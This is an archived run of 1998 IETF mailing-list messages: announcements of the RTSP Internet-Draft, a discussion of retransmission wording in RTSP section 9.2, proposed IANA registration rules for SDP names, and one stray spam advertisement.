	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA21077
	for <confctrl@isi.edu>; Mon, 12 Jan 1998 08:52:03 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id LAA18237;
	Mon, 12 Jan 1998 11:51:57 -0500 (EST)
Message-Id: <199801121651.LAA18237@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-07.txt,.ps
Date: Mon, 12 Jan 1998 11:51:57 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-07.txt,.ps
	Pages		: 99
	Date		: 09-Jan-98
	
   The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and provide a means for choosing delivery
   mechanisms based upon RTP (RFC 1889).
 
   This is a snapshot of the current draft which will become the next
   version of the ``official'' Internet Draft.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-07.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-07.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-07.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19980112114052.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-07.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-07.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980112114052.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jan 14 01:01:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA16926
	for confctrl-outgoing; Wed, 14 Jan 1998 01:01:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA16921
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jan 1998 01:01:49 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA11034
	for <confctrl@isi.edu>; Wed, 14 Jan 1998 01:01:48 -0800 (PST)
Received: from robla (mg136-088.ricochet.net) by murrow.prognet.com with SMTP id AA09756
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 14 Jan 1998 01:01:42 -0800
Message-Id: <3.0.3.32.19980114010128.0176f7b0@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 14 Jan 1998 01:01:28 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP: Section 9.2
Cc: anup@netscape.com, hgs@cs.columbia.edu, allyn@Eng.Sun.COM
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Just one more thing ....

There's a section in draft-07 that got a red flag in AD review.  The problem stems from the current wording of the draft encouraging the retransmission of non-acked RTSP messages *even when RTSP is delivered over TCP*.  After getting together and scratching our heads for a bit, Henning, Anup and I couldn't come up with a compelling case for keeping the current wording (Henning and Anup, I hope I'm not being presumptuous here).  I've proposed new wording below that fixes this problem, which I haven't gotten an immediate allergic reaction from the smaller group I sent this around to earlier this evening :)

Given this fix and a couple of places where the references could be tidier, we'll probably be issuing a draft-08 of RTSP in the next day or so.  As with draft-07, please give us your comments ASAP, since the IESG is already reading over RTSP as we speak.

Here's the only really substantive change, with "-" indicating the stuff that's removed, and "+" indicating the stuff that gets added.

"Old" draft (draft-07):
   9.2 Reliability and Acknowledgements

   Requests are acknowledged by the receiver unless they are sent to a
   multicast group. If there is no acknowledgement, the sender may resend
   the same message after a timeout of one round-trip time (RTT). The
   round-trip time is estimated as in TCP (RFC 1123), with an initial
   round-trip value of 500 ms. An implementation MAY cache the last RTT
   measurement as the initial value for future connections. 
-                                                           If a reliable
-  transport protocol is used to carry RTSP, the timeout value MAY be set
-  to an arbitrarily large value.
-
-    This can greatly increase responsiveness for proxies operating in
-    local-area networks with small RTTs. The mechanism is defined such
-    that the client implementation does not have to be aware of whether
-    a reliable or unreliable transport protocol is being used. It is
-    probably a bad idea to have two reliability mechanisms on top of
-    each other, although the RTSP RTT estimate is likely to be larger
-    than the TCP estimate.
-
   The Timestamp header (Section 12.38) is used to avoid the
 ....

New version: 
   9.2 Reliability and Acknowledgements

   Requests are acknowledged by the receiver unless they are sent to a
   multicast group. If there is no acknowledgement, the sender may resend
   the same message after a timeout of one round-trip time (RTT). The
   round-trip time is estimated as in TCP (RFC 1123), with an initial
   round-trip value of 500 ms. An implementation MAY cache the last RTT
   measurement as the initial value for future connections. 

+  If a reliable transport protocol is used to carry RTSP, the sender
+  SHOULD NOT ever retransmit requests, and instead SHOULD rely on the 
+  underlying transport to enforce reliability.
+
+    Application-level retransmissions on top of a reliable transport (such
+    as TCP) will tend to compound what is potentially an already bad
+    situation, without providing any benefit.  For example, one cannot
+    take advantage of RTSP-level retransmissions using typical TCP
+    operating-system stacks (as of this writing), since these
+    implementations seldom let one look ahead to see data beyond that
+    which was lost in transit.
+
+    If the implemenation is truly capable of benefitting from resends (for
+    instance, greater than usual control of the TCP stack is possible),
+    this can greatly increase responsiveness for proxies operating in
+    local-area networks with small RTTs, since the RTSP RTT estimate can
+    be tuned to be smaller than the TCP estimate.  However, in the case
+    where low-level TCP tweaks can be made, one would hope that the TCP
+    RTT could be tuned directly, eliminating the need to send resends at
+    the RTSP level.

   The Timestamp header (Section 12.38) is used to avoid the
 ....

Let me know if this doesn't make sense.  Otherwise, you'll see this change in the next RTSP draft.

Rob

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Wed Jan 14 04:33:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA19645
	for confctrl-outgoing; Wed, 14 Jan 1998 04:33:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19640
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jan 1998 04:33:42 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA14807
	for <confctrl@ISI.EDU>; Wed, 14 Jan 1998 04:33:41 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA18922; Wed, 14 Jan 1998 07:33:32 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA23705; Wed, 14 Jan 1998 07:33:31 -0500 (EST)
Message-ID: <34BCB09A.545754B2@cs.columbia.edu>
Date: Wed, 14 Jan 1998 07:33:30 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Rob Lanphier <robla@real.com>
CC: confctrl@ISI.EDU, anup@netscape.com, allyn@Eng.Sun.COM
Subject: Re: RTSP: Section 9.2
References: <3.0.3.32.19980114010128.0176f7b0@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rob Lanphier wrote:
> 
> Just one more thing ....
> 

> Here's the only really substantive change, with "-" indicating the stuff that's removed, and "+" indicating the stuff that gets added.
> 
> "Old" draft (draft-07):
>    9.2 Reliability and Acknowledgements
> 
>    Requests are acknowledged by the receiver unless they are sent to a
>    multicast group. If there is no acknowledgement, the sender may resend
>    the same message after a timeout of one round-trip time (RTT). The
>    round-trip time is estimated as in TCP (RFC 1123), with an initial
>    round-trip value of 500 ms. An implementation MAY cache the last RTT
>    measurement as the initial value for future connections.
> -                                                           If a reliable
> -  transport protocol is used to carry RTSP, the timeout value MAY be set
> -  to an arbitrarily large value.
> -
> -    This can greatly increase responsiveness for proxies operating in
> -    local-area networks with small RTTs. The mechanism is defined such
> -    that the client implementation does not have to be aware of whether
> -    a reliable or unreliable transport protocol is being used. It is
> -    probably a bad idea to have two reliability mechanisms on top of
> -    each other, although the RTSP RTT estimate is likely to be larger
> -    than the TCP estimate.
> -
>    The Timestamp header (Section 12.38) is used to avoid the
>  ....
> 
> New version:
>    9.2 Reliability and Acknowledgements
> 
>    Requests are acknowledged by the receiver unless they are sent to a
>    multicast group. If there is no acknowledgement, the sender may resend
>    the same message after a timeout of one round-trip time (RTT). The
>    round-trip time is estimated as in TCP (RFC 1123), with an initial
>    round-trip value of 500 ms. An implementation MAY cache the last RTT
>    measurement as the initial value for future connections.
> 
> +  If a reliable transport protocol is used to carry RTSP, the sender
> +  SHOULD NOT ever retransmit requests, and instead SHOULD rely on the

Just some English tuning, to sound less strident:

SHOULD NOT retransmit

> +  underlying transport to enforce reliability.

provide reliability (it's a service, not a chore...)

> +
> +    Application-level retransmissions on top of a reliable transport (such
> +    as TCP) will tend to compound what is potentially an already bad
> +    situation, without providing any benefit.  For example, one cannot

This is a bit opaque since the example says that you can't win, while
the first sentence says it's bad.

My stab:

If both the underlying reliable transport such as TCP and the
application retransmit requests and responses, it is possible that each
packet loss results in two retransmissions. The receiver cannot
typically take advantage of the application-layer retransmission since
the transport stack will not deliver the application-layer
retransmission before the first attempt has reached the receiver.


> +
> +    If the implemenation is truly capable of benefitting from resends (for
> +    instance, greater than usual control of the TCP stack is possible),
> +    this can greatly increase responsiveness for proxies operating in
> +    local-area networks with small RTTs, since the RTSP RTT estimate can
> +    be tuned to be smaller than the TCP estimate.  However, in the case
> +    where low-level TCP tweaks can be made, one would hope that the TCP

tweaks -> modifications (I consider RFCs formal writing :-))

> +    RTT could be tuned directly, eliminating the need to send resends at
> +    the RTSP level.

send resends -> retransmit or resend

> 
>    The Timestamp header (Section 12.38) is used to avoid the
>  ....
> 
> Let me know if this doesn't make sense.  Otherwise, you'll see this change in the next RTSP draft.

From confctrl-owner  Wed Jan 14 06:44:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA21653
	for confctrl-outgoing; Wed, 14 Jan 1998 06:44:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21648
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jan 1998 06:44:31 -0800 (PST)
Received: from dfw-ix1.ix.netcom.com (dfw-ix1.ix.netcom.com [206.214.98.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17689;
	Wed, 14 Jan 1998 06:44:26 -0800 (PST)
From: winservice@technologist.com
Received: (from smap@localhost)
          by dfw-ix1.ix.netcom.com (8.8.4/8.8.4)
	  id IAA12799; Wed, 14 Jan 1998 08:40:05 -0600 (CST)
Date: Wed, 14 Jan 1998 08:40:05 -0600 (CST)
Message-Id: <199801141440.IAA12799@dfw-ix1.ix.netcom.com>
Received: from stl-wa4-15.ix.netcom.com(207.95.64.79) by dfw-ix1.ix.netcom.com via smap (V1.3)
	id rma012405; Wed Jan 14 08:39:40 1998
To: webhost@inx.net
Subject: The Virtual Law Library
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


	This is the time of year when we all sit down to reflect on last year and set some new goals for the coming year.  What kind of year was 1997 for you?  What will be your goals for 1998?  Why not make prosperity your goal for '98?  There are many things that come under the auspices of 'prosperity' including time, money, love, success, balance, joy, comfort, beauty, good health, wisdom, etc.

	Are you prosperous with your time?  Or, do you always feel rushed and pressured?  Do you always feel there's not enough time to do the things you want to do?  Then you have poverty with respect to time.  Wall Street Journal wrote that leisure time, not money, will be the status symbol of prosperity in the coming years.

	There is now a new legal research tool available that will not only save you countless hours of unbillable time, but also allows you to efficiently locate the same information available through Westlaw and Lexis Nexis without paying one minute of on-line fees.  And the best part is, it doesn't cost you $500. to $1,000. a year in additional service charges.

	If you think this is too good to be true, WinServices Technologies' Virtual Law Library on CD-ROM will, however, cost you $69.95.  The Virtual Law Library will unleash the full power of your personal computer by giving you access to more than 15,000 free legal research sites on the Internet. 
	
	Sue Robinson a paralegal at Fischer & Bell states that "by using the Virtual Law Library I am able to cut my research time on the Internet by more than 75%."  

	Rob Lloyd, a third-year law student at Seattle University Law School, claims that "the Virtual Law Library is so comprehensive, it has almost eliminated my trips to the Law Library."

Come visit us at: 
http://www.winservices.com/

Order your Personal Edition through our secured Web Site at: 
http://www.winservices.com/legalresearch/library/

For more information or to order your Personal Edition of the Virtual Law Library call: 253-813-9961

To rush your order simply fill out the order form below and fax it to our 24 hour order line at: 253-813-6980 or

Mail your order to:
WinServices
P.O. Box 23845
Federal Way, WA  98093-0845


ORDER FORM
----------------------------------------------------------------------

Your Name________________________________________________________

Your Address______________________________________________________

Your City_________________________________________________________

State / Zip_________________________________________________________

Phone #: ________-____________-__________________
(For problems with your order only. No salesmen will call.)

Email Address_____________________@__________________________

We Accept Checks or Money Orders along with all Major Credit Cards
including Visa, MasterCard, Discover and American Express (NOTE - We only ship to the address listed on the credit card)

(Please Fill Out the Section Below and Make sure that the above name and address are listed as it appears on the card) for $69.95

Credit Card Number: _____________________________________

Expiration Date: __________/____________

Signature: ____________________________

Date: _______________________


Or order your Personal Edition through our secured Web Site at: 
http://www.winservices.com/legalresearch/library/

Thanks for ordering the Virtual Law Library!
Please allow two weeks for shipping and handling.


From confctrl-owner  Wed Jan 14 07:09:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22190
	for confctrl-outgoing; Wed, 14 Jan 1998 07:09:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22185
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jan 1998 07:09:45 -0800 (PST)
Received: from dokka.kvatro.no (dokka.kvatro.no [193.216.2.164])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18480
	for <confctrl@ISI.EDU>; Wed, 14 Jan 1998 07:09:42 -0800 (PST)
Received: from alden (dhcp42.kvatro.no [193.216.2.42])
	by dokka.kvatro.no (8.8.5/8.8.5) with SMTP id QAA20283;
	Wed, 14 Jan 1998 16:09:19 +0100
Message-Id: <199801141509.QAA20283@dokka.kvatro.no>
X-Sender: hta@dokka.kvatro.no
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Demo
Date: Wed, 14 Jan 1998 16:06:31 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@real.com>
From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Subject: Re: RTSP: Section 9.2
Cc: confctrl@ISI.EDU, anup@netscape.com, allyn@Eng.Sun.COM
In-Reply-To: <34BCB09A.545754B2@cs.columbia.edu>
References: <3.0.3.32.19980114010128.0176f7b0@mail.real.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 07:33 14.01.98 -0500, Henning Schulzrinne wrote:
>Rob Lanphier wrote:

>
>If both the underlying reliable transport such as TCP and the
>application retransmit requests and responses, it is possible that each
>packet loss results in two retransmissions. The receiver cannot
>typically take advantage of the application-layer retransmission since
>the transport stack will not deliver the application-layer
>retransmission before the first attempt has reached the receiver.
>

>
I'd also add

If the packet loss is caused by congestion, multiple retransmissions at
different layers will cause even more congestion, making the situation worse.
Therefore, application-layer retramsmission MUST NOT be done.

>> +
>> +    If the implemenation is truly capable of benefitting from resends (for
>> +    instance, greater than usual control of the TCP stack is possible),
>> +    this can greatly increase responsiveness for proxies operating in
>> +    local-area networks with small RTTs, since the RTSP RTT estimate can
>> +    be tuned to be smaller than the TCP estimate.  However, in the case
>> +    where low-level TCP tweaks can be made, one would hope that the TCP
>> +    RTT could be tuned directly, eliminating the need to send resends at
>> +    the RTSP level.
>

I'd suggest removing this section entirely, and replacing it with a
sentence saying

If RTSP is used over a small-RTT LAN, standard procedures for optimizing
inital
TCP round trip estimates, such as those used in T/TCP [RFC 1644], can be
beneficial.

Don't reinvent wheels if you can avoid it. ESPECIALLY for protocols that
are likely
to be in standard software deployed in a VERY wide range of conditions,
some of
which will be far outside the makers' imagination.
("home LAN" video player being used in a broadcast studio for feeding a
satellite link?
Don't think it won't happen....)

                         Harald T. Alvestrand
                    one of the IESG commenters

NOTE: New Email address: Harald.Alvestrand@maxware.no
I am working for Maxware (www.maxware.no) as of Dec 1, 1997


From confctrl-owner  Mon Jan 19 06:55:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA00527
	for confctrl-outgoing; Mon, 19 Jan 1998 06:55:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA00522
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jan 1998 06:55:07 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12807
	for <confctrl@isi.edu>; Mon, 19 Jan 1998 06:55:06 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id JAA15345;
	Mon, 19 Jan 1998 09:55:02 -0500 (EST)
Message-Id: <199801191455.JAA15345@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-08.txt,.ps
Date: Mon, 19 Jan 1998 09:55:01 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group 
of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-08.txt,.ps
	Pages		: 97
	Date		: 16-Jan-98
	
   The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and provide a means for choosing delivery
   mechanisms based upon RTP (RFC 1889).
 
   This is a snapshot of the current draft which will become the next
   version of the ``official'' Internet Draft.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-08.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-08.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-08.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19980116151746.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-08.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-08.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980116151746.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jan 21 13:55:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26923
	for confctrl-outgoing; Wed, 21 Jan 1998 13:55:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26882
	for <confctrl@zephyr.isi.edu>; Wed, 21 Jan 1998 13:55:01 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA13972
	for <confctrl@isi.edu>; Wed, 21 Jan 1998 13:54:59 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA12822; Wed, 21 Jan 1998 16:54:57 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Registering SDP names with IANA
Date: Wed, 21 Jan 1998 16:54:56 -0500
Message-ID: <12820.885419696@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


As part of the final process (I hope) before SDP can become a proposed
standard, we need to agree a registration mechanism for SDP names.
The following is my proposed text for these guidelines that IANA has
provisionally approved.  I'm forwarding this to the list in case
anyone has any comments or suggestions (in the next 24 hrs please!).

Cheers,
	Mark

--------

Appendix C: Guidelines for registering SDP names with IANA

There are five field names that	may be registered with IANA.  Using  the
terminology  in	 the  SDP  specification BNF, they are "media",	"proto",
"fmt", "att-field" and "bwtype".

"media"	(eg, audio, video, application,	data).


    The	set of media is	intended to be small  and  not	to  be	extended
    except  under  rare	 circumstances.	 The same rules	should apply for
    media names	as for top-level MIME content types, and where	possible
    the	 same  name should be registered for SDP as for	MIME.  For media
    other than existing	MIME top-level content types, a	 standards-track
    RFC	 MUST  be  produced  for  a  new  top-level  content  type to be
    registered,	and the	registration MUST provide good justification why
    no existing	media name is appropriate.


"proto"


    In general this should be an IETF standards-track transport	protocol
    identifier such as RTP/AVP (rfc 1889 under the rfc 1890 profile).

    However, people will want to invent	their own proprietary  transport
    protocols.	 Some  of  these  should  be registered	as a "fmt" using
    "udp" as the protocol and some of which probably can't be.

    Where the protocol and the application are intimately  linked,  such
    as	with  the LBL whiteboard wb which used a proprietary and special
    purpose protocol over UDP, the protocol name should	be "udp" and the
    format  name  that should be registered is "wb".  The rules	for for-
    mats (see below) apply to such registrations.

    Where the proprietary transport protocol really  carries  many  dif-
    ferent  data formats, it is	possible to register a new protocol name
    with IANA.	In such	a case,	an RFC MUST be produced	 describing  the
    protocol  and  referenced  in  the registration.  Such an RFC MAY be
    informational, although it is preferable if	it is standards-track.


"fmt"


    The	format namespace is dependent on  the  context	of  the	 "proto"
    field,  so	a  format cannot be registered without specifying one or
    more transport protocols that it applies to.

    Formats cover all the possible encodings that might	want to	be tran-
    sported in a multimedia session.

    For	RTP formats that have been assigned static  payload  types,  the
    payload  type  number is used.  For	RTP formats using a dynamic pay-
    load type number, the dynamic payload type number is  given	 as  the
    format and an additional "rtpmap" attribute	specifies the format and
    parameters.

    For	non-RTP	formats, any unregistered format name may be registered.
    If	there  is  a suitable mapping from a MIME subtype to the format,
    then the MIME subtype name should be registered.   If  there  is  no
    suitable  mapping  from  a	MIME  subtype,	a  new	name  should  be
    registered.	 In either case, unless	there are strong reasons not  to
    do	so, a standards-track RFC SHOULD be produced describing	the for-
    mat	and this RFC SHOULD be referenced in the registration.


"att-field" (Attribute names)


    Attribute field names MAY be registered with IANA, although	this  is
    not	compulsory, and	unknown	attributes are simply ignored.

    When an attribute is registered, it	must be	accompanied by	a  brief
    specification stating the following:

    o	  contact name,	email address and telephone number

    o	  attribute-name (as it	will appear in SDP)

    o	  long-form attribute name in English

    o	  type of attribute (session level, media level, or both)

    o	  a one	paragraph explanation of the purpose of	the attribute.

    o	  a specification  of  appropriate  attribute  values  for  this
	 attribute.

    IANA will not sanity check such attribute  registrations  except  to
    ensure that	they do	not clash with existing	registrations.

    Although the above is the minimum that  IANA  will	accept,	 if  the
    attribute  is expected to see widespread use and interoperability is
    an issue, authors are encouraged to	produce	 a  standards-track  RFC
    that specifies the attribute more precisely.

    Submitters of registrations	should ensure that the specification  is
    in	the spirit of SDP attributes, most notably that	the attribute is
    platform independent in the	sense that it makes no implicit	 assump-
    tions  about  operating systems and	does not name specific pieces of
    software in	a manner that might inhibit interoperability.


"bwtype" (bandwidth specifiers)


    A proliferation of bandwidth specifiers is strongly	discouraged.

    New	bandwidth specifiers may be registered with IANA.   The	 submis-
    sion  MUST	reference a standards-track RFC	specifying the semantics
    of the bandwidth specifier precisely, and indicating when it  should
    be used, and why the existing registered bandwidth specifiers do not
    suffice.


Registration Procedure

To register a name the above guidelines	should be followed regarding the
required  level	 of  documentation  that  is required.	The registration
itself should be sent to IANA.	Attribute registrations	 should	 include
the  information  given	 above.	  Other	registrations should include the
following additional information:

o     contact name, email address and telephone	number

o     name being registered (as	it will	appear in SDP)

o     long-form	name in	English

o     type of name ("media", "proto", "fmt" or "bwtype")

o     a	one paragraph explanation of the purpose of the	registered name.

o     a	reference to the specification (eg RFC number) of the registered
     name.

IANA may refer any registration	to the IESG or to any  appropriate  IETF
working	 group for review, and may request revisions to	be made	before a
registration will be made.

From confctrl-owner  Thu Jan 22 04:09:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA26720
	for confctrl-outgoing; Thu, 22 Jan 1998 04:09:21 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA26715
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 04:09:20 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id EAA16823
	for <confctrl@ISI.EDU>; Thu, 22 Jan 1998 04:08:49 -0800 (PST)
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16132-0@bells.cs.ucl.ac.uk>; Thu, 22 Jan 1998 12:08:19 +0000
To: Michael Benson <mbenson@gmu.edu>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
In-reply-to: Your message of "Fri, 12 Dec 1997 18:13:20 EST." <004401bd0753$8cfb4780$010101c8@pent150>
Date: Thu, 22 Jan 1998 12:08:18 +0000
Message-ID: <1527.885470898@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
